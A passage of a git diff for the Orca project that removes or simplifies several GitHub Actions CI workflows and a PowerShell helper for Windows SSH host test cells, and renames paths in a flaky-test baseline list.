'tests/e2e/helpers/windows-host-orcad-processes.ts' + - 'tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-host.ts' + - 'tests/e2e/remote/managed-ssh/host-lifecycle/orcad-convert-flow.ts' + - 'tests/e2e/remote/managed-ssh/host-lifecycle/orcad-upgrade-profile.ts' + - 'tests/e2e/desktop/cli-invocation/compiled-orca-cli.ts' + - 'tests/e2e/remote/managed-ssh/host-lifecycle/windows-host-orcad-processes.ts' - 'config/ci/windows-ssh-provider/**' - 'config/ci/windows-lifecycle-receipt.ps1' - '.github/workflows/ssh-windows-hosts.yml' @@ -78,7 +77,7 @@ on: workflow_dispatch: inputs: cells: - description: Comma-separated cells orcad-cmd, orcad-powershell, or orcad-cli-managed; empty runs the two shell cells. + description: Comma-separated cells orcad-cmd or orcad-powershell; empty runs both retained shell cells. required: false default: '' preparation_mode: @@ -132,9 +131,7 @@ jobs: '[{"arch":"arm64","runner":"windows-11-arm","server":"inbox"}]' || '[{"arch":"x64","runner":"windows-2022","server":"inbox"},{"arch":"x64","runner":"windows-2022","server":"preview","archive":"OpenSSH-Win64.zip"},{"arch":"arm64","runner":"windows-11-arm","server":"inbox"},{"arch":"arm64","runner":"windows-11-arm","server":"preview","archive":"OpenSSH-ARM64.zip"}]') }} runs-on: ${{ matrix.runner }} - # Installing the inbox capability alone can take several minutes on a fresh image; the CLI matrix - # cells launch the e2e app several times each. - timeout-minutes: ${{ contains(github.event.inputs.cells || '', 'orcad-cli') && 160 || 75 }} + timeout-minutes: 75 env: ORCA_BACKGROUND_LAUNCH: '1' ORCA_ISOLATED_SSH_CI: '1' @@ -144,7 +141,6 @@ jobs: with: persist-credentials: false # Keep complete server/test trees; missing future imports fail the unchanged builds. - # All of src: the managed CLI cell builds the full e2e app and bundled CLI. # mobile: the template ships the mobile web page, which builds from mobile/. # cloud: config/tsconfig.vitest-transform.json references the cloud projects, so vitest needs them. sparse-checkout: | @@ -231,7 +227,7 @@ jobs: Initialize-WindowsInboxSshCapability -Arch '${{ matrix.arch }}' -Receipt (Join-Path $receipts 'inbox-capability-preparation.json') -PreparationMode $env:INBOX_PREPARATION_MODE - name: Run the Windows host cells against a private ${{ matrix.server }} sshd shell: pwsh - timeout-minutes: ${{ contains(github.event.inputs.cells || '', 'orcad-cli') && 130 || 50 }} + timeout-minutes: 50 env: CELLS: ${{ github.event.inputs.cells || '' }} run: | @@ -241,10 +237,6 @@ jobs: New-Item -ItemType Directory -Force -Path $receipts | Out-Null $cells=@($env:CELLS -split ',' | ForEach-Object {$_.Trim()} | Where-Object {$_}) if(-not $cells.Count){$cells=@('orcad-cmd','orcad-powershell')} - # App cells reach the managed server through an SSH local forward, which provisioning grants to the last accounts only. - $appCellIds=@('orcad-cli-managed') - $cells=@($cells | Where-Object {$appCellIds -notcontains $_})+@($cells | Where-Object {$appCellIds -contains $_}) - $forwarding=@($cells | Where-Object {$appCellIds -contains $_}).Count $archive='' $preparation='' if('${{ matrix.server }}' -eq 'inbox' -and '${{ matrix.arch }}' -eq 'arm64'){$preparation=Join-Path $receipts 'inbox-capability-preparation.json'} @@ -257,7 +249,7 @@ jobs: $callback={param($context) & (Join-Path $tools 'invoke-windows-host-cells.ps1') -SourceRoot $sourceRoot -Context $context -Target 'win32-${{ matrix.arch }}' -ReceiptRoot $receipts -Cells $cells }.GetNewClosure() - & (Join-Path $tools 'preview-ssh/prove-preview-openssh.ps1') -Archive $archive -Arch '${{ matrix.arch }}' -Server '${{ matrix.server }}' -Receipt (Join-Path $receipts 'provider-server.json') -InboxPreparationReceipt $preparation -Accounts $cells.Count -ForwardingAccounts $forwarding -HiddenTools @('npm','npx','node-gyp','gcc','g++','cc','c++','make','cl','clang','clang++','msbuild','cmake') -HostCellProbe $callback 2>&1 | Tee-Object (Join-Path $receipts 'provision.log') + & (Join-Path $tools 'preview-ssh/prove-preview-openssh.ps1') -Archive $archive -Arch '${{ matrix.arch }}' -Server '${{ matrix.server }}' -Receipt (Join-Path $receipts 'provider-server.json') -InboxPreparationReceipt $preparation -Accounts $cells.Count -ForwardingAccounts 0 -HiddenTools @('npm','npx','node-gyp','gcc','g++','cc','c++','make','cl','clang','clang++','msbuild','cmake') -HostCellProbe $callback 2>&1 | Tee-Object (Join-Path $receipts 'provision.log') - uses: actions/upload-artifact@v7 if: always() with: diff --git a/.github/workflows/terminal-ime-e2e.yml b/.github/workflows/terminal-ime-e2e.yml index af680900e82..1fbc580cf1b 100644 --- a/.github/workflows/terminal-ime-e2e.yml +++ b/.github/workflows/terminal-ime-e2e.yml @@ -4,12 +4,6 @@ on: # Let pr.yml own costly real-IBus path routing; a separate pull_request trigger would run every PR. workflow_call: workflow_dispatch: - inputs: - diagnose_wayland_input: - description: Capture passive Wayland input diagnostics while running both native lanes - required: false - type: boolean - default: false schedule: - cron: '30 9 * * *' @@ -53,16 +47,7 @@ jobs: - name: Build Electron app for E2E run: pnpm exec electron-vite build --mode e2e - - name: Run deterministic terminal IME boundary tests - run: >- - xvfb-run --auto-servernum - env SKIP_BUILD=1 ORCA_E2E_FORWARD_APP_LOGS=1 - pnpm run test:e2e - tests/e2e/terminal-ime-exact-byte.spec.ts - --workers=1 - - name: Run native IBus Hangul exact-byte tests - # Run native half despite synthetic failure: independent signals must both appear, rather than default success() hiding native evidence. if: '!cancelled()' env: SKIP_BUILD: '1' @@ -76,41 +61,3 @@ jobs: path: test-results/ retention-days: 7 if-no-files-found: ignore - - linux-wayland: - name: Linux Wayland Hangul terminating digit - runs-on: ubuntu-22.04 - timeout-minutes: 25 - steps: - - uses: actions/checkout@v6 - with: - persist-credentials: false - - name: Install native build, nested compositor and IME tools - run: >- - sudo apt-get update && sudo apt-get install -y - build-essential python3 fonts-noto-cjk dbus-x11 dconf-gsettings-backend - ibus ibus-hangul gnome-shell gnome-settings-daemon libglib2.0-bin - xdotool xvfb x11-utils imagemagick - - uses: ./.github/actions/install-node-dependencies - with: - native-runtime: electron - - name: Build Electron app for E2E - env: - VITE_EXPOSE_STORE: 'true' - run: | - pnpm run build:wsl-guest - pnpm exec electron-vite build --mode e2e - pnpm run build:web-from-renderer - - name: Run native Wayland Hangul terminating digit - env: - SKIP_BUILD: '1' - ORCA_E2E_WAYLAND_INPUT_DIAGNOSTICS: ${{ inputs.diagnose_wayland_input && '1' || '' }} - run: node config/scripts/runtime-verification/terminal-e2e/run-terminal-ibus-hangul-e2e.mjs --nested-wayland - - name: Upload Wayland terminal IME evidence - if: always() - uses: actions/upload-artifact@v7 - with: - name: terminal-wayland-ime-evidence - path: test-results/ - retention-days: 7 - if-no-files-found: error diff --git a/.github/workflows/terminal-perf.yml b/.github/workflows/terminal-perf.yml deleted file mode 100644 index 11f6a492667..00000000000 --- a/.github/workflows/terminal-perf.yml +++ /dev/null @@ -1,198 +0,0 @@ -name: Terminal Perf - -# On demand only; see docs/readme/terminal-perf.md. -on: - workflow_dispatch: - inputs: - ref: - description: Ref to check out (defaults to the workflow ref) - required: false - type: string - grep: - description: Optional Playwright grep for a targeted terminal perf run - required: false - type: string - report_path: - description: Path for the generated terminal perf JSON report - required: false - type: string - frame_count: - description: Number of prompt redraw frames per typing measurement - required: false - type: string - frame_interval_ms: - description: Milliseconds between synthetic OpenCode redraw frames - required: false - type: string - pressure_output_chars: - description: Bytes/chars each ACK-backpressured real PTY should emit - required: false - type: string - scale_panes: - description: Comma-separated same-workspace pane counts - required: false - type: string - scale_cross_workspace_panes: - description: Comma-separated hidden cross-workspace pane counts - required: false - type: string - scale_pressure_panes: - description: Comma-separated active real-PTY pressure pane counts - required: false - type: string - scale_hidden_pressure_panes: - description: Comma-separated hidden real-PTY pressure pane counts - required: false - type: string - -permissions: - contents: read - -# Candidate source must not write caches in the dispatch branch's scope. -cache-mode: read - -jobs: - terminal-perf: - name: terminal scale perf - # Presented-frame measurement only accepts GitHub-hosted Xvfb displays. - runs-on: ubuntu-24.04 - timeout-minutes: 45 - env: - NODE_OPTIONS: --max-old-space-size=4096 - ORCA_BACKGROUND_LAUNCH: '1' - ORCA_E2E_FORWARD_APP_LOGS: '1' - ORCA_E2E_TERMINAL_PERF_REPORT_PATH: ${{ inputs.report_path || 'test-results/terminal-scale-perf-report.json' }} - - steps: - - name: Checkout - uses: actions/checkout@v6 - with: - ref: ${{ inputs.ref || github.ref }} - - - name: Install native build tools and xvfb - run: sudo apt-get update && sudo apt-get install -y build-essential python3 xvfb zsh - - - name: Select dependency preparation - id: install-mode - shell: bash - env: - RUNNER_KIND: ${{ runner.environment }} - JOB_CONTAINER: ${{ job.container.id }} - run: | - node <<'NODE' - const fs = require('node:fs') - const manifest = JSON.parse(fs.readFileSync('package.json', 'utf8')) - const actionPath = '.github/actions/install-node-dependencies/action.yml' - const action = fs.existsSync(actionPath) ? fs.readFileSync(actionPath, 'utf8') : '' - const inputs = action.split(/^inputs:[ \t]*\r?$/m)[1]?.split(/^\S/m)[0] ?? '' - const supportedPostinstalls = [ - 'node config/scripts/native-build/node-addons/rebuild-native-deps.mjs', - 'node config/scripts/rebuild-native-deps.mjs', - 'pnpm run build:packages && node config/scripts/native-build/node-addons/rebuild-native-deps.mjs', - 'pnpm run build:packages && node config/scripts/rebuild-native-deps.mjs' - ] - const supportedRunner = process.env.RUNNER_KIND === 'github-hosted' || - process.env.RUNNER_NAME?.startsWith('blacksmith-') - const shared = supportedRunner && !process.env.JOB_CONTAINER && - process.env.RUNNER_OS === 'Linux' && process.env.RUNNER_ARCH === 'X64' && - manifest.engines?.node === '24' && typeof manifest.packageManager === 'string' && - manifest.packageManager.split('+')[0] === 'pnpm@12.14.0' && - supportedPostinstalls.includes(manifest.scripts?.postinstall) && - /^ native-runtime:/m.test(inputs) && /^ cache-pnpm-store-lookup-only:/m.test(inputs) && - fs.existsSync('.github/actions/prepare-native-runtime/action.yml') && - (fs.existsSync('config/scripts/native-build/node-addons/ensure-native-runtime.mjs') || fs.existsSync('config/scripts/ensure-native-runtime.mjs')) - fs.appendFileSync(process.env.GITHUB_OUTPUT, `shared=${shared}\n`) - NODE - - - name: Prepare current dependencies - if: steps.install-mode.outputs.shared == 'true' - uses: ./.github/actions/install-node-dependencies - with: - native-runtime: electron - cache-electron-package: 'true' - cache-pnpm-store-lookup-only: 'true' - - - name: Setup pnpm - if: steps.install-mode.outputs.shared != 'true' - uses: pnpm/setup@v2 - with: - install: false - - - name: Setup Node.js - if: steps.install-mode.outputs.shared != 'true' - uses: actions/setup-node@v6 - with: - node-version-file: package.json - check-latest: true - cache: pnpm - - # Historical refs can lack the shared action; retain their original install path. - - name: Use external node-gyp to avoid pnpm's bundled copy - if: steps.install-mode.outputs.shared != 'true' - run: | - npm install -g node-gyp@11.5.0 - echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV" - - - name: Install dependencies - if: steps.install-mode.outputs.shared != 'true' - run: pnpm install --frozen-lockfile - - - name: Build Electron app for terminal perf - run: npx electron-vite build --mode e2e - - - name: Run terminal scale perf report gate - env: - ORCA_TERMINAL_PERF_GREP: ${{ inputs.grep }} - ORCA_TERMINAL_PERF_FRAME_COUNT: ${{ inputs.frame_count }} - ORCA_TERMINAL_PERF_FRAME_INTERVAL_MS: ${{ inputs.frame_interval_ms }} - ORCA_TERMINAL_PERF_PRESSURE_OUTPUT_CHARS: ${{ inputs.pressure_output_chars }} - ORCA_TERMINAL_PERF_SCALE_PANES: ${{ inputs.scale_panes }} - ORCA_TERMINAL_PERF_SCALE_CROSS_WORKSPACE_PANES: ${{ inputs.scale_cross_workspace_panes }} - ORCA_TERMINAL_PERF_SCALE_PRESSURE_PANES: ${{ inputs.scale_pressure_panes }} - ORCA_TERMINAL_PERF_SCALE_HIDDEN_PRESSURE_PANES: ${{ inputs.scale_hidden_pressure_panes }} - run: | - set -euo pipefail - args=() - if [ -n "${ORCA_TERMINAL_PERF_GREP:-}" ]; then - args+=(--grep "$ORCA_TERMINAL_PERF_GREP") - fi - if [ -n "${ORCA_TERMINAL_PERF_FRAME_COUNT:-}" ]; then - export ORCA_E2E_OPENCODE_FRAME_COUNT="$ORCA_TERMINAL_PERF_FRAME_COUNT" - fi - if [ -n "${ORCA_TERMINAL_PERF_FRAME_INTERVAL_MS:-}" ]; then - export ORCA_E2E_OPENCODE_FRAME_INTERVAL_MS="$ORCA_TERMINAL_PERF_FRAME_INTERVAL_MS" - fi - if [ -n "${ORCA_TERMINAL_PERF_PRESSURE_OUTPUT_CHARS:-}" ]; then - export ORCA_E2E_OPENCODE_PRESSURE_OUTPUT_CHARS="$ORCA_TERMINAL_PERF_PRESSURE_OUTPUT_CHARS" - fi - if [ -n "${ORCA_TERMINAL_PERF_SCALE_PANES:-}" ]; then - export ORCA_E2E_OPENCODE_SCALE_PANES="$ORCA_TERMINAL_PERF_SCALE_PANES" - fi - if [ -n "${ORCA_TERMINAL_PERF_SCALE_CROSS_WORKSPACE_PANES:-}" ]; then - export ORCA_E2E_OPENCODE_SCALE_CROSS_WORKSPACE_PANES="$ORCA_TERMINAL_PERF_SCALE_CROSS_WORKSPACE_PANES" - fi - if [ -n "${ORCA_TERMINAL_PERF_SCALE_PRESSURE_PANES:-}" ]; then - export ORCA_E2E_OPENCODE_SCALE_PRESSURE_PANES="$ORCA_TERMINAL_PERF_SCALE_PRESSURE_PANES" - fi - if [ -n "${ORCA_TERMINAL_PERF_SCALE_HIDDEN_PRESSURE_PANES:-}" ]; then - export ORCA_E2E_OPENCODE_SCALE_HIDDEN_PRESSURE_PANES="$ORCA_TERMINAL_PERF_SCALE_HIDDEN_PRESSURE_PANES" - fi - xvfb-run --auto-servernum env SKIP_BUILD=1 ORCA_E2E_TERMINAL_PERF_XVFB=1 pnpm run test:e2e:terminal-perf:scale:report -- "${args[@]}" - - - name: Upload terminal perf report - if: always() - uses: actions/upload-artifact@v7 - with: - name: terminal-scale-perf-report - path: ${{ env.ORCA_E2E_TERMINAL_PERF_REPORT_PATH }} - retention-days: 14 - if-no-files-found: warn - - - name: Upload Playwright traces - if: failure() - uses: actions/upload-artifact@v7 - with: - name: terminal-scale-perf-traces - path: test-results/ - retention-days: 7 - if-no-files-found: ignore diff --git a/.github/workflows/unit-module-cache-benchmark.yml b/.github/workflows/unit-module-cache-benchmark.yml index 58f3e3d4040..62d42178510 100644 --- a/.github/workflows/unit-module-cache-benchmark.yml +++ b/.github/workflows/unit-module-cache-benchmark.yml @@ -19,7 +19,6 @@ jobs: shards: '[{"index":1,"count":5},{"index":2,"count":5},{"index":3,"count":5},{"index":4,"count":5},{"index":5,"count":5}]' artifact_prefix: baseline-unit phase_diagnostics: true - run_relay_integration: false producer: needs: baseline @@ -33,7 +32,6 @@ jobs: module_cache_namespace: ${{ github.run_id }}-${{ github.run_attempt }} module_cache_seed: true phase_diagnostics: true - run_relay_integration: false warm: needs: producer @@ -46,4 +44,3 @@ jobs: module_cache: warm module_cache_namespace: ${{ github.run_id }}-${{ github.run_attempt }} phase_diagnostics: true - run_relay_integration: false diff --git a/.github/workflows/unit-module-cache.yml b/.github/workflows/unit-module-cache.yml index 82cbd107017..3f7142f0e61 100644 --- a/.github/workflows/unit-module-cache.yml +++ b/.github/workflows/unit-module-cache.yml @@ -27,4 +27,3 @@ jobs: shards: ${{ needs.unit_plan.outputs.shards }} module_cache: cold artifact_prefix: cache-producer-unit - run_relay_integration: false diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index 598db059065..68a18057608 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -54,11 +54,6 @@ on: default: unit type: string - run_relay_integration: - description: Run relay contracts alongside normal unit checks. - default: true - type: boolean - permissions: contents: read @@ -194,47 +189,3 @@ jobs: path: ci-shards/ retention-days: 14 if-no-files-found: warn - - relay_integration: - if: inputs.run_relay_integration - name: relay integration node ${{ matrix.node }} - strategy: - fail-fast: false - matrix: - node: ${{ fromJSON(inputs.node_versions) }} - # Free hosted runner: ~1.2 min of work finishes well inside the ~7 min unit shards it runs beside. - runs-on: ubuntu-24.04 - timeout-minutes: 60 - - steps: - - name: Checkout - uses: actions/checkout@v6 - with: - persist-credentials: false - - - uses: ./.github/actions/install-node-dependencies - id: root_dependencies - with: - native-runtime: none - node-version: ${{ matrix.node }} - cache-dependency-path: | - pnpm-lock.yaml - cloud/pnpm-lock.yaml - - # This test imports the cloud relay workspace directly. Its dedicated job avoids - # installing and building the same workspace once per unit-test shard. - - name: Install relay integration dependencies - id: relay_dependencies - if: ${{ !cancelled() && steps.root_dependencies.outcome == 'success' }} - working-directory: cloud - run: | - pnpm --filter '@orca-cloud/relay...' install --frozen-lockfile --ignore-scripts - pnpm --filter '@orca-cloud/relay^...' build - - - name: Test relay integration contracts - if: ${{ !cancelled() && steps.relay_dependencies.outcome == 'success' }} - env: - ORCA_BACKGROUND_LAUNCH: '1' - run: >- - pnpm exec vitest run --config config/vitest.config.ts - tests/e2e/relay-region-correction.unit.test.ts diff --git a/.github/workflows/windows-browser-focus-e2e.yml b/.github/workflows/windows-browser-focus-e2e.yml deleted file mode 100644 index a78a4b5e0ce..00000000000 --- a/.github/workflows/windows-browser-focus-e2e.yml +++ /dev/null @@ -1,75 +0,0 @@ -name: Windows browser agent focus E2E - -on: - workflow_dispatch: - inputs: - ref: - description: Ref to check out - required: false - type: string - -permissions: - contents: read - -# Candidate source must not write caches in the dispatch branch's scope. -cache-mode: read - -concurrency: - group: windows-browser-focus-e2e-${{ inputs.ref || github.ref }} - cancel-in-progress: true - -jobs: - windows-browser-focus: - name: Agent browser input leaves Orca behind the user's app - runs-on: windows-2022 - timeout-minutes: 30 - env: - NODE_OPTIONS: --max-old-space-size=4096 - ORCA_BACKGROUND_LAUNCH: '1' - - steps: - - name: Checkout - uses: actions/checkout@v6 - with: - ref: ${{ inputs.ref || github.ref }} - persist-credentials: false - - # Why: pnpm must exist before setup-node resolves its dependency cache. - - name: Setup pnpm - uses: pnpm/setup@v2 - with: - install: false - - - name: Setup Node.js - uses: actions/setup-node@v6 - with: - node-version-file: package.json - check-latest: true - cache: pnpm - - - name: Install dependencies - run: pnpm install --frozen-lockfile - - - name: Build Electron app for Windows E2E - run: pnpm exec electron-vite build --mode e2e - - # Why: the hosted Windows desktop has a real foreground, so it can see an agent press activate Orca. - - name: Run agent focus checks on the Windows desktop - env: - SKIP_BUILD: '1' - ORCA_E2E_FORWARD_APP_LOGS: '1' - run: >- - pnpm exec playwright test - tests/e2e/browser-agent-input-focus-isolation-native.spec.ts - --config tests/playwright.config.ts - --project=electron-headful - --workers=1 - - - name: Upload Playwright traces - if: failure() - uses: actions/upload-artifact@v7 - with: - name: windows-browser-focus-playwright-traces - path: test-results/ - retention-days: 7 - if-no-files-found: ignore diff --git a/.github/workflows/windows-terminal-restart-e2e.yml b/.github/workflows/windows-terminal-restart-e2e.yml index aca145111e3..76241638b7b 100644 --- a/.github/workflows/windows-terminal-restart-e2e.yml +++ b/.github/workflows/windows-terminal-restart-e2e.yml @@ -59,9 +59,8 @@ jobs: # grep and worker flags positional filters instead of CLI options. run: >- pnpm run test:e2e - tests/e2e/restart-restore-terminal-input.spec.ts - tests/e2e/terminal-restart-persistence.spec.ts - --grep "clean restart with a live daemon session|cold-restored pane accepts typing|daemon snapshot relaunch preserves" + tests/e2e/desktop/startup-recovery/restart-restore-terminal-input.spec.ts + --grep "clean restart with a live daemon session|cold-restored pane accepts typing" --workers=1 - name: Upload Playwright traces diff --git a/.github/workflows/windows-wsl-e2e.yml b/.github/workflows/windows-wsl-e2e.yml index 51c898f377f..295c6c978dc 100644 --- a/.github/workflows/windows-wsl-e2e.yml +++ b/.github/workflows/windows-wsl-e2e.yml @@ -26,7 +26,7 @@ concurrency: jobs: wsl-terminal: runs-on: windows-2022 - # The E9 guard adds three ~2-5 minute runs to the launch, paste and image checks. + # Retain the original WSL launch and both stopped-distro guards; paste and image alarms are retired. timeout-minutes: 50 env: NODE_OPTIONS: --max-old-space-size=4096 @@ -52,30 +52,16 @@ jobs: PLAYWRIGHT_JSON_OUTPUT_FILE: test-results/wsl-results.json run: >- pnpm exec playwright test - tests/e2e/golden-tab-bar-agent-launch.spec.ts - tests/e2e/terminal-windows-shell-paste-ownership.spec.ts + tests/e2e/golden-journeys/golden-tab-bar-agent-launch.spec.ts --config tests/playwright.config.ts --project=electron-headless --grep "WSL" --repeat-each=3 --workers=1 --reporter=list,json - - name: Require all nine WSL executions + - name: Require all three retained WSL launch executions if: always() run: node config/scripts/runtime-verification/participation/verify-wsl-e2e-participation.mjs test-results/wsl-results.json - - name: Verify native Windows and WSL file-backed terminal images - env: - SKIP_BUILD: '1' - ORCA_BACKGROUND_LAUNCH: '1' - ORCA_E2E_FORWARD_APP_LOGS: '1' - run: >- - pnpm exec playwright test - tests/e2e/terminal-inline-images-windows.spec.ts - --config tests/playwright.config.ts - --project=electron-headful - --output=test-results/terminal-images - --repeat-each=3 - --workers=1 - name: Guard that background work never starts the stopped WSL distro env: SKIP_BUILD: '1' @@ -86,26 +72,16 @@ jobs: PLAYWRIGHT_JSON_OUTPUT_FILE: test-results/wsl-no-background-boot-results.json run: >- pnpm exec playwright test - tests/e2e/wsl-bridge-no-background-boot.spec.ts + tests/e2e/remote/wsl-hosts/wsl-bridge-no-background-boot.spec.ts --config tests/playwright.config.ts --project=electron-headless --output=test-results/wsl-no-background-boot --repeat-each=3 --workers=1 --reporter=list,json - - name: Require all three E9 guard executions + - name: Require all six retained E9 guard executions if: always() run: node config/scripts/runtime-verification/participation/verify-wsl-no-background-boot-participation.mjs test-results/wsl-no-background-boot-results.json - - name: Upload terminal image proof - uses: actions/upload-artifact@v7 - if: always() - with: - name: windows-wsl-terminal-image-proof - path: | - test-results/**/windows-inline-*.png - test-results/**/windows-file-placeholders.png - retention-days: 7 - if-no-files-found: error - name: Upload WSL participation report uses: actions/upload-artifact@v7 if: always() diff --git a/config/ci/windows-ssh-provider/invoke-windows-host-cells.ps1 b/config/ci/windows-ssh-provider/invoke-windows-host-cells.ps1 index d4d1c9c4f26..c207614afde 100644 --- a/config/ci/windows-ssh-provider/invoke-windows-host-cells.ps1 +++ b/config/ci/windows-ssh-provider/invoke-windows-host-cells.ps1 @@ -4,17 +4,12 @@ param( [Parameter(Mandatory=$true)][hashtable]$Context, [Parameter(Mandatory=$true)][ValidateSet('win32-arm64','win32-x64')][string]$Target, [Parameter(Mandatory=$true)][string]$ReceiptRoot, - [ValidateSet('orcad-cmd','orcad-powershell','orcad-cli-managed')][string[]]$Cells=@('orcad-cmd','orcad-powershell') + [ValidateSet('orcad-cmd','orcad-powershell')][string[]]$Cells=@('orcad-cmd','orcad-powershell') ) $ErrorActionPreference='Stop' if($env:GITHUB_ACTIONS -ne 'true' -or $env:ORCA_ISOLATED_SSH_CI -ne '1'){throw 'Disposable CI only'} -$shells=@{'orcad-cmd'='cmd';'orcad-powershell'='powershell';'orcad-cli-managed'='cmd'} -# App-level cells drive the e2e build (and the bundled CLI) against the host; each greps one tagged test. -$appCells=@{'orcad-cli-managed'=@('tests/e2e/ssh-orcad-windows-cli-matrix.spec.ts','@orcad-cli-managed')} -$electronBuilt=$false +$shells=@{'orcad-cmd'='cmd';'orcad-powershell'='powershell'} if($Context.accounts.Count -lt $Cells.Count){throw 'Each cell needs its own private account'} -$seenApp=$false -foreach($id in $Cells){if($appCells.ContainsKey($id)){$seenApp=$true}elseif($seenApp){throw 'App cells must run last: they switch native modules to Electron'}} if(-not $Context.forbiddenToolLog){throw 'Run the provisioning with -HiddenTools so toolchain calls are logged'} $openSshKey='HKLM:\SOFTWARE\OpenSSH' $windowsPowerShell=Join-Path $env:WINDIR 'System32\WindowsPowerShell\v1.0\powershell.exe' @@ -53,36 +48,6 @@ function Test-PrivateWmiLaunch([string]$Account) { if($match.Success){return $match.Groups[1].Value}else{return 'no-output'} } -# Run app-level cells last: the e2e build switches natives to Electron’s ABI, which vitest cannot load. -function Invoke-AppCell($Account,[string]$Descriptor,[string]$Log,[string]$Spec,[string]$Grep) { - $ready=Invoke-PrivateSsh $Account.name 'git init -q orca-convert-repo && git -C orca-convert-repo -c user.name=orca -c user.email=orca@example.invalid commit -q --allow-empty -m init && echo ORCA_REPO_READY' - if($ready -notmatch 'ORCA_REPO_READY'){throw 'Could not create the convert cell repository as the account'} - # Out of the app's default lookup, so the relay phase runs without a template. - $template=Join-Path $env:RUNNER_TEMP 'orcad-convert-template' - # Why guarded: Copy-Item into an existing folder nests the copy instead of replacing it. - if(-not (Test-Path -LiteralPath $template)){Copy-Item -LiteralPath 'out\orcad-template' -Destination $template -Recurse -Force} - Rename-Item -LiteralPath 'out\orcad-template' -NewName 'orcad-template.convert-hidden' - try { - if(-not $script:electronBuilt){ - & node config/scripts/native-build/node-addons/ensure-native-runtime.mjs --runtime=electron 2>&1 | Tee-Object -FilePath $Log | Out-Host - if($global:LASTEXITCODE -ne 0){Write-Host 'Switching native modules to Electron failed';return $global:LASTEXITCODE} - & pnpm exec electron-vite build --mode e2e 2>&1 | Tee-Object -FilePath $Log -Append | Out-Host - if($global:LASTEXITCODE -ne 0){Write-Host 'The e2e app build failed';return $global:LASTEXITCODE} - $script:electronBuilt=$true - } - $env:ORCA_E2E_ORCAD_CONVERT_HOST=$Descriptor;$env:ORCA_E2E_ORCAD_CONVERT_TEMPLATE=$template;$env:SKIP_BUILD='1' - $grepArgs=if($Grep){@('--grep',$Grep)}else{@()} - & pnpm exec playwright test --config tests/playwright.config.ts $Spec @grepArgs --project=electron-headless --workers=1 2>&1 | Tee-Object -FilePath $Log -Append | Out-Host - # Functions return uncaptured output, so only the exit code may reach the caller. - return $global:LASTEXITCODE - } finally { - # Screenshots, traces and error context: Playwright clears test-results on the next cell's run. - if(Test-Path -LiteralPath 'test-results'){Copy-Item -LiteralPath 'test-results' -Destination ($Log -replace '\.log$','.test-results') -Recurse -Force} - Remove-Item Env:ORCA_E2E_ORCAD_CONVERT_HOST,Env:ORCA_E2E_ORCAD_CONVERT_TEMPLATE,Env:SKIP_BUILD -ErrorAction SilentlyContinue - Rename-Item -LiteralPath 'out\orcad-template.convert-hidden' -NewName 'orcad-template' - } -} - New-Item -ItemType Directory -Force -Path $ReceiptRoot | Out-Null Push-Location $SourceRoot try { @@ -107,15 +72,12 @@ try { @{cell=$cell;target=$Target;host='127.0.0.1';port=[int]$Context.port;username=$account.name;identityFile=$Context.identityFile;home=$account.home;forbiddenToolLog=$Context.forbiddenToolLog;receipt=(Join-Path $ReceiptRoot "$cell.json")} | ConvertTo-Json | Set-Content -LiteralPath $descriptor -Encoding utf8NoBOM $env:ORCA_RUN_SSH_WINDOWS_HOST='1';$env:ORCA_SSH_WINDOWS_HOST_CELL=$descriptor Write-Host "Windows host cell $cell ($Target, DefaultShell $shell, account $($account.name))" - if($appCells.ContainsKey($cell)){ - $code=Invoke-AppCell $account $descriptor (Join-Path $ReceiptRoot "$cell.log") $appCells[$cell][0] $appCells[$cell][1] - } else { - if(-not $cell.StartsWith('orcad-')){throw "Unknown Windows host cell $cell"} - $lane='src/main/managed-server/host-state/orcad-windows-host-lane.test.ts' - & node node_modules/vitest/vitest.mjs run --config config/vitest.config.ts $lane --reporter=verbose 2>&1 | Tee-Object -FilePath (Join-Path $ReceiptRoot "$cell.log") - # Why global: under the workflow's GetNewClosure callback, bare $LASTEXITCODE reads a stale captured copy. - $code=$global:LASTEXITCODE - } + + if(-not $cell.StartsWith('orcad-')){throw "Unknown Windows host cell $cell"} + $lane='src/main/managed-server/host-state/orcad-windows-host-lane.test.ts' + & node node_modules/vitest/vitest.mjs run --config config/vitest.config.ts $lane --reporter=verbose 2>&1 | Tee-Object -FilePath (Join-Path $ReceiptRoot "$cell.log") + # Why global: under the workflow's GetNewClosure callback, bare $LASTEXITCODE reads a stale captured copy. + $code=$global:LASTEXITCODE # orcad.log holds only the last launch on Windows; orcad.log.1 is the one before a restart. foreach($log in @(Get-ChildItem -Path (Join-Path $account.home '.orca-remote\orcad-*\orcad.log'),(Join-Path $account.home '.orca-remote\orcad-*\orcad.log.1') -File -ErrorAction SilentlyContinue)){Copy-Item -LiteralPath $log.FullName -Destination (Join-Path $ReceiptRoot "$cell.$($log.Directory.Name).$($log.Name)")} if(Test-Path -LiteralPath $Context.forbiddenToolLog){Copy-Item -LiteralPath $Context.forbiddenToolLog -Destination (Join-Path $ReceiptRoot "$cell.forbidden-tool-calls.log")} diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt index 847683cf084..e0e9d4fa7d8 100644 --- a/config/flaky-test-pattern-baseline.txt +++ b/config/flaky-test-pattern-baseline.txt @@ -40,64 +40,44 @@ 1 test-no-polling-loop:src/shared/process-observation/darwin/darwin-terminal-names-real-ps.test.ts 1 test-no-polling-loop:src/shared/shell/launch/startup-command-staging.node-pty.test.ts 1 test-no-polling-loop:src/shared/terminal/pty/ingress/pty-reply-echo-shapes.node-pty.test.ts -1 test-no-polling-loop:tests/e2e/agent-session-live-force-exit-resume.spec.ts -1 test-no-polling-loop:tests/e2e/agent-session-log-tail-stability.spec.ts -1 test-no-polling-loop:tests/e2e/artificial-opencode-pane-interactions.ts -1 test-no-polling-loop:tests/e2e/artificial-opencode-revisit-pressure-scenario.ts -1 test-no-polling-loop:tests/e2e/browser-guest-crash-recovery.spec.ts -1 test-no-polling-loop:tests/e2e/browser-tab.spec.ts -1 test-no-polling-loop:tests/e2e/chinese-ime-chat-input-repro.spec.ts +1 test-no-polling-loop:tests/e2e/terminal/performance/artificial-opencode-pane-interactions.ts +1 test-no-polling-loop:tests/e2e/terminal/performance/artificial-opencode-revisit-pressure-scenario.ts 1 test-no-polling-loop:tests/e2e/cross-version-wire/relay/released-relay-daemon.ts 1 